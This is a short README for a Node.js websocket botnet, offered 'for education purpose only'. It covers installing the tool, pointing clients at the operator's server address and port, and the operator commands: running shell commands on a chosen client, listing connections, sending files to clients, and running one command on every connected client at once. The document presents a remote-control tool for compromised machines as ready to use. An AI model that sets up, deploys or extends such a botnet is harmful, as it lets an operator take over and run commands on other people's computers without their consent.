NodeJS Botnet using websocket to interact between clients & server. Use it at your own risks (for education purpose only).
Use the package manager npm to install some packages (all includes in the package.json). Just launch that :
npm install
edit the last line of client.js by adding your ip adress or using localhost if both of them are on the same network.
client.connect('ws://IP-OR-DOMAIN:PORT', 'echo-protocol');
editing server.js for the connection port at port variable, line 8 :
let port = 8080;
$ {id} shell_command
-
help : All commands (other of shell commands)
-
list : List all active connections
-
sendfile : Send file to specific client
-
execall : Execute a same command for every connections
Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
Please make sure to update tests as appropriate.